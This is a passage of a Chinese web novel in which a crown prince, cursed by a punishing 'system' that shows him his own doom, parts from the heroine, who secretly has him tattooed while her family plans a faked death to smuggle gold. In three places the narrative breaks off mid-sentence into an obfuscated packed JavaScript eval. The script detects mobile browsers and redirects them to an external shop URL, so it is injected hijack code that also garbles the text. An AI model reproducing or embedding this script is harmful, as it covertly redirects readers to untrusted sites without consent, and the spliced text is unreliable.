江淮照方才一定告诉过她,太子瞧不上她庶女的出身。 看来,她并没有相信这个理由。 为这一点点微不足道的心意相通,穆归衡很开心。 开心到足以抵消这个噩梦般的系统造成的一切痛楚。 “我不想骗你。”他说,声音轻飘飘的,浮在她耳边,“我不想害你。” 此话让江御暮产生了一种错觉——不想害她?难道穆归衡对费红英诓骗皇帝的话有所耳闻,也误以为成婚之后,她会成为他的“药炉”吗? 不待她发问,穆归衡已然再度开口。 “你不是一直想知道,缠上我的那个系统,究竟是何名目么?” 也许,把真相全部告诉她,才是最好的选择。 38. 预言知此朝终覆灭,复国策陡然变…… 十二岁被封为太子,离宫开府的当天夜里,穆归衡做了一个梦。 梦里的场景再简单不过——他穿着龙袍,死了。 死不瞑目。 心脏骤然紧缩,穆归衡猛地睁开双眼,听到了一个陌生的、苍老的、几无感情的声音。 “不要妄图改写宿命。” “你无法摆脱我。” “这个朝代注定二世而亡。” 有那么一瞬,穆归衡还以为自己处于第二层梦境。 因为那老者的声音就从他体内传来,这不合理,太不合理了。 穆归衡用了许多办法,想让自己“醒来”,然而都是徒劳无功。 他很快意识到,不,还有一个办法尚未尝试。 穆归衡走到一张桌案边,从木匣里取出一把匕首。 他望着漆黑的夜空,似乎在思考,是不是应该用这把匕首划破四周的梦魇? 然而就在他将刀剑对准自己的那一刹,老者的声音再次传来。 “检测到违规行为【弃命轻生】,即将降下惩罚。” 来不及思考此话何意,穆归衡便接受了他人生中的第一次剧痛之罚。 潮水般的痛楚霎时涌来,十二岁少年未长成的身躯实在难以承受。 门外有护卫听见屋里的响动,急忙进来查看情况。 “你……你是谁?”穆归衡倒在地上,挣扎着发问。 护卫心道不好,太子殿下这是突发恶疾了?怎么连人都不认识了? 他赶忙报上自己的姓名,但他不知道,穆归衡发问的对象根本就不是他。 “吾乃系统。”那个声音说。 “什么……东西……”穆归衡不太理解,对方是姓系名统吗? 老者似是听见了他的心声,接着说道:“亡国系统,会永远注视着你,直到你亲手将这个国度推向覆灭的结局。” 说罢顿了顿,又补充:“你不需要理解,只需要执行。” 穆归衡一时难以接受这些信息,恍惚间看到有人慌慌张张跑出去请太医。 系统仿佛透过他的双眼看见了这个世界,笃定道:“都是徒劳,太医救不了你。” 穆归衡已经意识到,跟他沟通不需要说话,用思维交流即可。 我为什么要相信你?他想。 系统的情绪没有波澜:“你可以不信,今后我下发的各项任务,你也可以不执行。只要你能承担后果。” 什么后果?他问。 系统很快回答:“比你此刻所受之痛更胜百倍,仿若浑身筋骨尽断,鲜血逆流。” 穆归衡沉默了,似乎直到此刻才真正相信,自己并不在梦里。 可是从某种意义上讲,他难道不是陷入了更深更可怖的无垠噩梦吗? 为什么?他想。 这个名为系统的鬼东西,为什么会找上他? 短暂的静默后,穆归衡第一次听到系统露出近似于常人的感情波动。 彼时彼刻,它好像变成了一个絮絮叨叨的耄耋老人,许多年不曾开口,终于找到机会一吐为快。 千百个字汇成一份情绪,穆归衡读懂了,系统深深厌恶他的父皇穆明。 从某种意义上讲,穆归衡也算是代人受过了。 “你是穆家王朝得以存续的唯一希望。”系统说。 这并不是一句赞誉,更像是一种诅咒。 “所以,我会永远注视你。” “所以,我会毁了你。” “但你无需觉得孤独,你的父亲,你的兄弟,你的王朝,都会为你陪葬。” “在不远的将来,不远的……” 将来。 穆归衡尽量不去考虑这个“将来”,只想尽快逃离系统带来的梦魇。 他试过反抗,不做它下发的任务,想看看生活是否能如常运转下去。 答案是能。 除了他自己被折磨得半死不活,其他人不会受到任何影响。 消极的反抗持续不了太久,本能的求生欲带他走上了另一条路。 “好,我接受任务。” 真正踏上这条路以后,穆归衡才发现系统并没有那么全知全能。 至少,它用于判定任务成败的基础规则中有许多空子可钻。 如果接到【嗜杀】任务,拍死十只蚊子也能被判定为成功完成任务。 与此同时,每完成一个任务,系统都会下发一份奖励。 奖励内容从来没有变过,永远是【观测】。 而观测的对象,就是未来。 为了验证系统的预言是否准确,穆归衡起初会选择观测“最近的未来”。小到天气晴雨,大到朝中奏对。 很快他就能得到答案,系统给出的画面从来没有出过错误,哪怕一丝一毫的偏差也无。 这是不是意味着,他终将迎来第一幅预言画面里那样的死亡结局? 穆归衡不愿认命。 上天曾给他再活一次的机会,总不会是为了让他甘心赴死吧? 穆归衡试图扭转预言。也许很难,也许无法实现,但总要试试。 每当他选择使用任务奖励,系统都会在他当晚的梦境中展示他想观测的场景。 巧合也好,命定也罢,总之没过多久,他就“观测”到了一桩命案。 死者是大皇兄,凶手是二皇兄。 梦里的环境是大皇兄的寝殿,二皇兄径直闯入,一刀结果了他的性命。鲜血如泉涌,腥气甚至浸透了穆归衡的梦境。 一刹惊醒,穆归衡后背冒出层层冷汗。他知道,如果不加干涉,这桩凶案便会发生在次日的夜晚。 他决定做点什么,瞒不过系统,系统也没打算阻拦。 它沉默地注视着穆归衡,看见他于次日傍晚赶往大皇子的府邸,好一通软磨硬泡,拉着他在书房里谈了许久诗文。 窗外阴云密布,有一滴没一滴地下起雨来。 在梦里,这就是二皇子动手杀人的时刻。 现在这件事还没有发生,但穆归衡不敢放松。 “太子殿下今日是怎么了,有些心神不宁啊?”大皇子疑道。 他们的关系并不算亲近,既非同母所出,又隔着十余岁的年龄差,平日甚少来往。 怪哉,怪哉。 穆归衡没有回答。他承认自己卑劣,妄图救下大皇兄并不是因为顾及手足之情,而是想试一试,自己未来能不能找到一条相似的出路。 “下雨了啊……”气氛尴尬时,人们总是喜欢用谈论天气的方式岔开话题,大皇子也不例外。 他吩咐侍从:“去,煮一壶热茶来,给太子殿下驱驱寒气。” 用茶堵住对方的嘴,就不用没话干聊了,他想。 侍从领命而去,很快便回来奉上热茶。按规矩,先给身份更尊贵的太子倒上,他的主子反而排在后面。 穆归衡心里压着巨石,端着茶碗也无心喝下,只问那侍从:“今日,怀王可曾上门拜访?” 侍从一愣,想了想,答曰:“好像……来过吧……” 穆归衡放下茶碗,急切追问道:“何时来的?待了多久?现在可回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340995|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吗?” 他没有等到答案。 只等来大皇子嘴角溢出的两道黑血。 震惊之下,穆归衡仍然反应极快,当场制住了那名仆从。对方起初并未把这个十二岁的小少年放在眼里,直到被他三招打服,才学会不能轻敌的道理。 皇帝震怒,亲审此案。穆归衡心乱如麻,好像知道凶手是谁,又打心底里不希望那人当真是凶手。 日子一天天过去了,此案却由皇帝亲自抹去痕迹,只生造出一个粉饰太平的故事。 穆归衡这才明白,凶手不会再有别人。他在梦里观测到的未来,终于在他自己的干预下,以另一种形式成真了。 系统仿佛读懂了他的心声,适时开口道:“不要妄图改写宿命。” 多讽刺啊,这曾是系统出现那日,对他说过的第一句话。 后来,穆归衡每次扭转预言失败时,系统都会将这句话再重复一遍。 他从来没有成功过,哪怕是让一幅最平平无奇的预言画面产生一丝一毫的偏差。 渐渐的,穆归衡终于不再做无用功,连带着任务奖励也不怎么使用了。 观测?既然无法改变定局,又有什么好观测的呢? 话虽如此,但他心底终究保留着一丝希望,平时好像是难以复燃的死灰,偶尔却也蠢蠢欲动着。 每当那个念头探出头来,穆归衡就会使用一次任务奖励,再观测一遍自己的死亡场景。 从十二岁到如今,他观测过十七次,梦境从没有发生过任何改变。 纵然他没有按照系统为他铺的路往前走,每次都用钻空子的方式完成任务,梦境依然没有发生一分一厘的变化。 他注定成为亡国之君,注定死于一位面目模糊之人手中的利剑。 “你可想过,亡国之君的皇后会是何种下场?”穆归衡向江御暮问道,没有期待得到任何答案。 “我抗旨拒婚,只是不想再多一个人为我陪葬。”他们的拥抱仍未结束,“尤其是你。” 他感觉得到,江御暮的身体在微微颤抖。 是在害怕吗?还是在为他担心? “你有观测过我的命运吗?”良久,她终于问。 “没有。”穆归衡如实回答,“我怕……” 怕看到她的不幸,他却无能为力。 也怕看到她的幸福,全然与他无关。 得到这个答案,江御暮在心里松了一口气。 如果穆归衡观测过她的未来,也许他梦中那个执剑之人,就不会再面目模糊了。 还好,现在警报解除。 一份不可宣之于口的喜悦随即涌上心头,如果穆家的王朝注定二世而亡,江御暮是不是可以亲手托起旧日的一轮明月呢? 也许,她可以放弃从前的计划,不必费尽心机做他的太子妃和未来的皇后,不必在千百双眼睛的凝视下冒险去父留子,不必用年幼的傀儡小皇帝做垫脚石…… 是啊,她应该回去,回到母亲身边去……她最擅长变通,可以立即制定一个全新的计划…… 江御暮有些兴奋,抑不住的那种兴奋。可是与此同时,她又有些悲哀。 在这个难辨真假的世界里,穆归衡是她唯一的同类。 虽然时代相差一千余年,但是至少,他们来自同一条世界线,灵魂得以体验邈远的共鸣。 不知思考了多久,穆归衡终于松开怀抱。 “江姑娘,可以再帮我完成一个任务吗?” 他注视着她的眼睛,逞强笑道。 “最后一次。” 39. 太子求割发难断义,小姐扮丫鬟叹…… “什么任务?”江御暮问。 穆归衡双唇颤了颤,道出他在来时的路上编出的答案:“割发断义。” 长痛不如短痛,索性就借这个契机,彻底与她断了来往吧。 江御暮故作轻松地一笑:“我只听说过割袍断义,割发断义算是什么说法?” “系统的说法。”穆归衡取下腰间佩剑,双手递给她道,“烦请姑娘割下一段青丝,交予我吧。” 江御暮明明早知他此来是为了取走用于“移蛊”的头发,此刻却仍然感到一阵惊讶。 他为什么不实话实说,反而要用所谓系统任务的借口来欺瞒她呢? 难道……是不希望她因此在心头压上包袱吗? 江御暮什么也没有问,一手勾起一缕青丝,另一手将其割下,动作干脆利索。 她把长剑还给穆归衡,却没有立刻把头发交给他,而是从怀中摸出一方绫帕。 穆归衡一眼就认出了它。 那是一方无绣纹的青玉色绫帕,原是穆归衡的物什。从湖心诗会归来那晚,他曾用它包裹着江御暮的发簪,悄悄放在了她的窗边。 此刻,江御暮将她的一缕乌发放在绫帕上,仔仔细细折好,送到他的面前。 “如此,也算物归原主了。”她轻声道。 穆归衡伸手去接时,动作在半途停顿了一刹,好像忽然反悔,不愿迈出最后一步似的。 江御暮的手却主动往前一送,将帕子塞进了他手中。 穆归衡有些迟钝,反应慢了半拍。 她为什么会随身带着他的帕子呢? 他们二人之间,被这缕青丝割断的,当真只有朋友之“义”吗? “从今以后,我们是不是就不能见面了?”江御暮明知故问,“任务要求?” 穆归衡的思绪被这个问题打乱,张了张口,没有回答。 即便是善意的谎言,此刻也实在难以讲出口。 最终,他只冲她点了点头,逃避似的低垂着目光。 “桃源一梦,终有醒时。” …… 浑浑噩噩回到太子府,穆归衡即刻派石涅传话,召见国师。 等待期间,他独自回到书房,盯着手中的绫帕看了许久。热茶一杯又一杯被放凉,仆役不厌其烦地帮他续上新茶,屋里静得只剩下一线茶水跃入瓷杯的细微声响。 不知过了多久,从国师府邸回来的石涅终于给这间暗沉沉的屋子添了几分活人气。 “殿下……”他的语气有些为难。 穆归衡没有抬头,冷语问道:“是国师来了么?” 石涅赔着小心,上前回道:“国师说,您所求之事,只能去他府上谈……” 好生无礼!石涅方才气得与其据理力争半晌,对方却丝毫不愿妥协,硬生生把这个难题砸在了他手里。 “殿下,您看……?”他有些忐忑,不知太子会作何反应。 穆归衡无力地冷笑了一声。 作为亡国系统的傀儡,他理应扮演好一个狂躁易怒的上位者,因国师对他无礼而迁怒眼前的仆从。 于是他抓起手边的茶杯,打算朝桌前的空地狠狠摔去。 可是那瓷杯被里头的茶水烘得滚热,握在冰凉的掌中,向他散发着融融暖意。 不知为何,穆归衡此刻抑不住地贪恋着这份温暖,甚至为此不舍得摔下瓷杯。 明明已经入夏,周遭却如晚秋般泛起凉意,只有这杯茶是热的。 骨头又开始痛了,穆归衡只觉疲乏,闭眼将那杯热茶一饮而尽,紧接着把瓷杯摔得粉碎。 痛楚立时消散。 石涅还以为太子摔杯就意味着他此刻已然怒极,没想到他反而无比平静。 “摆驾国师府。” 见穆归衡起身往门外走去,石涅连忙跟上。 穆归衡却停住步伐,回头给他留下一个难以读懂的眼神。 “不必跟着,本宫自己去。” 两座府邸距离不远,穆归衡赶到时,费红英就在府门内正对着的小花园等待。 “这么快就把东西取来了啊?太子殿下。”她迎上前来,没有按规矩行礼,只稍稍躬一躬身。 穆归衡并不看她,目不斜视道:“少废话,开始吧。” 费红英以手掌示意方向:“好,殿下请随我来。” 把人带到内院的厢房以后,费红英遣走所有仆役,最后向他确认一遍:“太子殿下当真想好了么?一旦微臣施术移蛊,您可就再无退路了。” “何必多话?”穆归衡唯恐她又在拖延时间,“你既是安王的人,难道不该盼着本宫自绝所有后路么?” 费红英不置可否,又问:“太子殿下明知微臣效忠于安王,竟然还敢赴约,就不怕微臣趁机害你性命吗?” 穆归衡哼出一哂:“你若有本事提前杀了本宫,本宫还要向你道谢呢。” 他不怕费红英使诈,就算她有心害他,也不可能改变系统预言中的结局。 费红英没听懂什么叫“提前杀了他”,也不多纠结,回归正题问道:“江小姐的头发何在?” 穆归衡从护臂中取出绫帕,放在掌中轻轻展开,小心翼翼地拎起那缕青丝,正要交给费红英,半途却忽然住手,问道:“用得了这么多吗?” 费红英也不懂这些诡术,经此一问,还以为他看出了破绽,又在试探虚实,于是飞速回忆自己近日恶补的杂家知识,一本正经地胡言道:“只需六十四根头发,对应六十四卦即可。” 穆归衡点点头,找了张椅子坐下,将绫帕平放在桌上,仔细数出六十四根发丝,重复两遍确认数量无误,这才将其交给费红英。剩下的头发则被他放回原位,用绫帕裹好了收起来。 费红英用红线系住发丝,挽了个结捏入右手,左手不知从何处取来一个小瓷瓶,变戏法似的。 “太子殿下,请先服下这瓶蛊水吧。”她说。 穆归衡疑道:“你上次对江姑娘施蛊,不是只在她掌心画了一道符么?为何到了本宫这,就要服药了?” 费红英理直气壮:“移蛊比施蛊麻烦得多,若换了旁人,微臣还懒得费这个事呢。” 穆归衡接过瓷瓶,拔开盖子,立时闻到一股浓郁的药味。那味道并不刺鼻,若放在寻常医馆里,很难让人联想到阴毒的巫蛊之术。 穆归衡把心一横,仰头喝尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362941|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了瓶中药液。 费红英拿回瓷瓶晃了晃,里头果然空空如也。 直到这时,她才敢真正相信,穆归衡竟然愿意为了救江御暮的命,做到这个地步。 如果他不是穆家人,也许他们会有一个好结果,她想。 然而说一千道一万,都抵不过残酷的现实。江家与穆家终究要兵戎相见,孤影伶仃的一个情字,又怎敌得过国破家亡的血海深仇呢? “太子殿下,请先去榻上趴下吧,微臣还需给您施针。” 小瓷瓶里的浓药只能催他入睡,为保险起见,费红英必须用银针暂时封住他的视觉与听觉。如此,即便他提前醒来,也没机会察觉异样。 银针一根根刺入脑后与颈间的穴位,不多时,穆归衡就感到一阵困意袭来。 系统约莫是察觉了他即将入梦,依例询问道:“是否使用任务奖励【观测】,剩余可使用次数为一百零三次。” 近几个月来,这个数字一直只增不减。 然而今日的变故太多,短短几个时辰内,穆归衡已经几度质疑自己的选择是否正确。 也许,只有再亲眼见证一次黑暗无望的未来,他才能彻底死心。 所以—— 使用,他用心声回答道。 系统有些卡顿,大约是很久没走过这套流程的缘故:“请选择你要观测的场景。” 我死时的场景,他想。 还没听到系统的回应,穆归衡就陷入了昏睡。 费红英见他双眼紧闭,呼吸悠长而平稳,确认他已经睡熟后,走到窗边敲了敲木框,低声道:“进来吧。” 下一刻,作丫鬟打扮的江御暮便推门而入。 费红英解下蒙眼的发带,耸肩一笑道:“怎么办,他好像来真的欸?” 江御暮垂眸望着穆归衡的睡颜,问道:“这些年,你的刺青手艺可生疏了么?” 费红英好像听到了天大的笑话:“你都多余问!” 她的手艺若生疏半分,都对不起小时候那筐猪皮! 江御暮轻笑一声:“那便好,准备准备,给他刺字吧。” 费红英去另一间房里取来各种工具,一边整理一边问她:“刺什么字?和你一样的么?” 江御暮摇头:“我写给你看。” 费红英探着头看她写下一串鬼画符。哦,又是异国文字,读不懂。 管他呢,照葫芦画瓢就行。 费红英走到榻边,正要动手,却又遇上一个难题。 “他的衣服……”她转头看向江御暮,眨了眨眼,“你脱还是我脱啊?” 江御暮失笑:“你做了这些年的郎中,什么世面没见过,还怕脱男人衣服么?” 费红英轻啧一声:“他是一般男人吗?差点有幸成为你男人好不好!” 江御暮倚在墙边微笑道:“嗯,是他无福。” 费红英见她没有要帮忙的意思,只好亲自上阵解开穆归衡的腰带,将外袍下摆与上身的中衣一道掀开,露出一截紧致腰线。 与此同时,穆归衡已经陷入一片陌生的梦境。 与前十七次观测结果截然不同的,完全陌生的梦境。 40. 混沌梦难解混沌语,荒唐计岂有荒…… 眼前是一片混沌,身旁是一片漆黑。穆归衡等待许久,仍然没有看到熟悉的画面。 环顾四周,耳畔唯余寂静。 等等,环顾四周? 他为什么能环顾四周? 以往进入观测之梦时,他不是每次都被困在一个固定的视角内么?这次为什么有所不同? 难道他还没有进入梦境? 穆归衡垂下目光,却看不见自己的身体。试着抬腿向前,竟然产生了在混沌中行走的感觉。 漆黑的长路仿佛没有尽头,他一直走到双腿发麻,才听到远处隐约传来细微而杂乱的声响。 穆归衡一步步走向声音的源头,随着距离慢慢拉近,那声音也逐渐清晰起来——是书页翻飞之声。 不是一册书,而是成千上万的书,同时被风疾速翻动的声音。 循声望去,只见远处矗立着一座书山,高得望不见尽头。 穆归衡停下脚步眺望,书山却顷刻倒塌,化为书海,翻滚着向他涌来。 “海浪”只消片刻工夫便停在他面前,仔细一看,有的书页已经古旧泛黄,有的却崭新得连墨迹都未晾干。 穆归衡努力去看书上的文字,但无论如何都看不清楚。他用力眨了眨眼,再去看时,白花花的书浪霎时化作森森白骨。 放眼望去,少说也有数百具尸体。 白骨颤动着,扭曲着,数百张嘴齐齐开口,发出同一个声音:“为什么观测不到?为什么!” 是系统的声音。 惊诧过后,穆归衡忽有一种遭人戏耍的感觉,忿忿质问道:“观测不到是何意?你倒讲讲清楚!” 系统的声音立时停住,数百具歪歪斜斜的骨尸一齐抬头,枯黑的眼洞直勾勾盯住穆归衡的双目。 “不要妄图改写宿命。” “你无法摆脱我。” “这个朝代注定二世而亡。” 又是这三句话,穆归衡的耳朵都要听出茧子了。 “你就没有别的话可说么?”他问。 骨尸们这次不再保持一致,有的呜咽,有的叹息,有的发出诡异笑声,绕梁不绝。 七八只骨手挣扎着匍匐上前,握住穆归衡的脚腕,仿佛一串白骨枷锁,难以挣脱。 “今夜再试一次……今夜再试一次……”骨尸们异口同声,以祈求的语气,“定然有结果……定然有结果!” 这是穆归衡第一次嗅到系统的恐惧情绪。 它因何而恐惧? 因为观测不到他的死亡吗? 换言之,这是不是就意味着,他还有机会改变自己被系统预言的结局呢? 激动之下,穆归衡的呼吸抑不住变得急促起来。 江御暮坐在榻边,向费红英问道:“他这是快醒了么?” 费红英搭脉探毕,摇头道:“早着呢。” 江御暮这便放了心,继续欣赏她的“杰作”。穆归衡的命门穴附近已被刺上一串异国文字,因是花体,故而更显几分神秘意味。 少倾,她忽然察觉身侧有一道目光停驻许久,抬眼望去,正对上费红英含笑的眼神。 “笑什么?有话直说。”江御暮太了解她了,只看一个表情,就能把她的心思猜个大概。 费红英深吸一口气,又重重放下肩膀,正色道:“你从前说他身上有股子侠气,我还不相信。现在看来,竟是不得不信了。” 江御暮不置可否,只道:“他不适合托生在帝王家。” 费红英踱步到江御暮身后,蒙住她的双眼问道:“说实话,你对他动心了吗?” “没有。”江御暮答得斩钉截铁。 费红英维持着蒙眼的动作,补充道:“怜惜也算。” 这次江御暮没有即刻回答,微颤的睫毛扫过费红英的掌心,宛如另一种无声的回答。 短暂沉默过后,费红英松开手,直视着江御暮问道:“你会放他一条生路吗?” “穆归衡必须死。”江御暮目光坚定,答得毫不迟疑。 费红英虽然早就猜到了这个答案,却仍旧难掩唏嘘。 “但是……”江御暮忽又开口,“燕识风可以活。” “燕识风是谁?”费红英从未听她提起过。 “没谁。”江御暮垂眸道,“一个不相干的朋友罢了。” 费红英正思索着,忽又听她问起:“我让你放给穆归礼的消息,你可告诉他了么?” “嗯,一字不落。”费红英点头道,“他没有生疑,还真相信了你曾私下求我卜卦,算出江连镜是被他王府里的内鬼放走的。我也劝过了,叫他不必抓着江连镜这颗毫无用处的废棋不放。我的劝告,穆归礼还是愿意听的。” “那便好。”江御暮的最后一丝担忧也已解除,“从今以后,江连镜便可正大光明地出入自家院门了。” …… 是夜,江府,一只信鸽从书房窗户探出脑袋,悄然飞离。 江淮照坐在桌边,盯着信鸽飞远的方向说道:“今日席间,我没忍住对太子说了两句气话,陛下很是不悦。我本以为自己犯了个错误,没想到歪打正着,竟为你的新计划做了铺垫。” 说完又叹两句可惜,他们费心筹谋那么久,眼看就能把江御暮推上太子妃之位。却没想到太子铁了心不愿成婚,这条路从一开始就是一条死路。 江御暮坐在他对面,平静道:“祸福相依,换条路走也有好处,至少我不用在后宅、后宫虚耗太多时光。只是……” 说到一半,江御暮抬眼看向江淮照,将后半句话咽了回去。 江淮照知道她的顾虑,温言宽慰道:“无碍,不就是把我的‘死期’提前了几年么?反正也不是真让我去送命,有费大姐的假死药在,我还能体验一番长公主当年金蝉脱壳的滋味呢。” 江御暮冲他笑笑:“嗯,那就尽快开始准备吧。” 咚咚咚,敲门声适时响起。 “爹,你找我?”门外传来江连镜的声音。 “进来吧。”江淮照整了整衣冠,摆出一副严父架子。 江连镜一进门就看到江御暮也在,隐隐觉得今晚这次谈话不太寻常。 “坐吧。”江淮照以眼神示意位置。 “是。” 江连镜乖巧坐在江御暮右边,用胳膊肘轻轻顶她一下,成功吸引来她的目光后,用口型无声问道:“出什么事了?” 江御暮没有回答,右手从桌下向右探去,在江连镜左手上写:问爹。 不过“爹”字才写了个“八”,江淮照就问他道:“你在外头的客栈住了这些日子,家里的事,可都有所耳闻吗?” 江连镜只操心一件事:“听说今日陛下有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13377422|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意赐婚,却被太子当众拒绝了?” 江淮照不悦一哼,唇角向下撇去:“太子又算得什么良配?还挑三拣四上了!这门亲事,我们江家还不稀得攀呢!” 江连镜一惊,尽管他打心底里认同这番话,却还是劝道:“父亲慎言!” 语毕起身去关紧窗户,一颗心怦怦直跳。奇怪,父亲平日并不是这样不谨慎的人啊,怎会不知祸从口出的道理? 江淮照似是余怒未消,接着放话道:“既然太子当众打了江府的脸,我便要当众打回去!让全京城的人都知道知道,是他穆归衡配不上我的掌上明珠!” 江连镜听得眉头紧皱,双目圆睁。完了完了,父亲这是被气疯了呀!怎么越说越往诛九族的路上偏去了! 他知道自己拦不住父亲,只能用胳膊肘一下一下地催促江御暮,让她出言规劝一番,父亲平日不是最听她的劝告了吗? 谁知江御暮也一反常态,火上浇油道:“都听父亲安排。” 江连镜险些怀疑自己听错了,用力揉起太阳穴来。 “爹,您到底想干什么啊?”他苦着脸问。 江淮照郑重其事道:“让你姐姐比武招亲。” “什、比武、啊?”惊骇之下,江连镜已经连句整话都说不出来了。 江淮照还不罢休,补充道:“擂台要搭在闹市,越高调越好。连镜,此事便交由你去办了。” “爹,您先冷静冷静。”江连镜抬高声音道,“太子虽已拒绝赐婚,但陛下只说此事容后再议,并未直接收回成命。江家若在此时高调招亲,岂不是公然与陛下对着干吗?” “是又如何?”江淮照理直气壮。 江连镜只觉一切都乱了套,难以厘清根由,不解道:“爹,当今圣上是什么脾气,您还不知道吗?容我说句不好听的,您这不就是——不就是找死吗?” 江淮照面不改色:“对,是找死。” 江连镜大为震撼,一句质疑之语刚顶到嘴边,还没发出声音,总算反应过来不对劲了。 “爹,您说的找死,不是真死吧?难道有什么别的意图?”他压低声音,试探着问。 江淮照见他终于开窍了,这才收起严肃的表情,与江御暮相视一笑。 江连镜见状长叹一声,仿佛卸下了心头千斤重担。 “哎呦,吓我这一大跳。您二位就行行好,告诉我一句实话吧,咱到底图什么呀?” 江御暮引导着问道:“如果要你避人耳目,把满满几大箱,共十二万两黄金偷运出京城,一路该如何躲开各项盘查?” 江连镜想了想,答道:“换成银票,随身携带?” 江御暮摇头:“都说要避人耳目了,你去钱庄换来这样巨额的银票,难道不引人怀疑么?” “等等。”江连镜好像突然抓住了这个问题的关键,“十二万两黄金?” 费红英治好了太子的顽疾,所得赏金不正是十二万两吗? “难道……你们打算用棺材避开盘查,偷偷运走那些黄金?” 江御暮对他的回答很满意,露出一个微笑。 江连镜还是不解:“即便如此,父亲也不必亲自涉险啊,就不能找几个信得过的人,佯装扶柩归乡吗?” 江淮照笑叹道:“傻孩子,这不过是个开始,后面的路啊,还长着呢。” 41. 老皇帝身死难瞑目,新国君气绝成变…… 一入夏,天气就迅速热了起来,日头晒得人直打瞌睡。 穆归衡直到日暮才离开寝殿,朝书房走去。 石涅赶忙跟上,关心道:“殿下近日是怎么了?一日竟能睡上八、九个时辰,可要找太医瞧瞧?” “不必。”穆归衡没有多加解释。 这几日来,他反复尝试在梦境中观测自己死亡的场景,却只一遍遍地看到无尽白骨,听到系统恐惧挣扎的声音。 与它相比,穆归衡的心绪反而渐渐平静了下来。 起初,他还以为之所以屡屡观测失败,是因为系统失去了预知未来的能力。 可是只要他将观测对象换为另一件事,就能顺利在梦中看到对应的场景。 于是穆归衡决定多试几次,也许能从其中找出规律。 “请选择你要观测的场景。” “我父皇死时的场景。” 梦中画面定格在皇帝的寝殿,明明窗外阳光明媚,像是晌午时间,该去御书房批折子才对。皇帝却身着寝衣躺在床上,双目浑浊,朝着门外的方向发愣。 他生病了吗?一定是的,否则不会从如今这般富态瘦成那幅样子,肉皮松松挂在骨架上,观之可怖,看起来比现在老了十岁不止。 不多时,寝殿的门被人推开。穆归衡的视角被限制,看不到来者何人,只能凭借脚步声判断,共有两人走进了这间屋子。 皇帝终于有了反应,艰难地动了动头颅,似乎想伸长脖子去看,可惜身体已经无法移动。 他的手颤抖着,因为身体过于瘦弱,密密麻麻的血管几乎全部凸起,紧紧扒在骨头上,活像老树的树根在彻底枯死前拼命汲取养分。 “啊——啊——”皇帝的嘴无力张开,也不愿闭上,只能豁着一条缝,发出呕哑嘲哳的声响。 两道细长如阴鬼的影子慢慢出现在画面里,想是方才进屋的那两人已经走近了龙床。 皇帝仅剩的力气只够用来挤出一个悲怒交加的表情,似乎想说些什么,却被剧烈的咳嗽堵住了嘴。 “陛下,您该安息了。”床边一人说道。 穆归衡认得那个声音。 飞鸿影,竟然是你。 意外吗?好像也没那么意外,毕竟他早知飞鸿影居心不良,绝非贤臣。 穆归衡此刻更好奇的问题是——床边的另一个人是谁? 开口吧,说几句话,给他一些线索。穆归衡无声希冀着。 可惜天不遂人愿,皇帝最后咳嗽几声,将头一歪,便彻底咽了气。死时还瞪着浑浊的双眼,半滴泪也流不出来。 梦境烟消云散,穆归衡悠悠醒转。 方才目睹了父皇死不瞑目的场景,他却几乎没有什么悲伤的感觉,反而有些畅快。 他将穆明视为父亲吗?也许曾经是的。 前世无父无母,漂泊半生如无根浮萍,今世有幸父母双全,穆归衡起初无比感恩。即便人人都说天家无情,可他知道,穆明对儿女们都是真心疼爱。 可是他怎么忘了呢?人是会变的。 贤相会变成奸臣,明主也会变成暴君。 随着皇位越来越稳固,穆明对自身的约束也越来越松懈,渐渐显出了狠辣无情的本质。 穆归衡纵然心惊,也无力改变现状,只能告诫自己:所谓君父,便是先君后父,切不可对他抱有不切实际的期待。 虽然父亲是个疯子,但他还是比前世幸运些,不是吗?至少他的母亲温厚善良,这些年来从未变过。 可是穆归衡没有想到,他对母亲全部的记忆加在一起,竟只有短短十二年。 皇帝立他为太子的第二天,就下旨处死了他的生母,理由是防患于未然,尽早铲除外戚干政的祸根。 穆明曾亲眼见证得月国的先太后如何擅权干政,如何压得小皇帝喘不过气。所以,他绝不会允许自己的王朝出现这样的女人,哪怕只有一丝可能性也绝不允许。 穆归衡直到那时才认清现实,原来即便贵为皇后,在皇帝眼中也不过命如草芥啊。 君父,君父,多么荒唐可笑的一个词? 从那一刻起,穆明对穆归衡而言,便只是君,不是父了。 如今得知皇帝的死很有可能与飞鸿影相关,穆归衡竟有些感谢这位国师大人。不论动机如何,从结果来看,此人也算是为先皇后报了仇。 他受到系统限制,不能亲自去做的事,竟有人无意中替他完成了,当真可喜可叹。 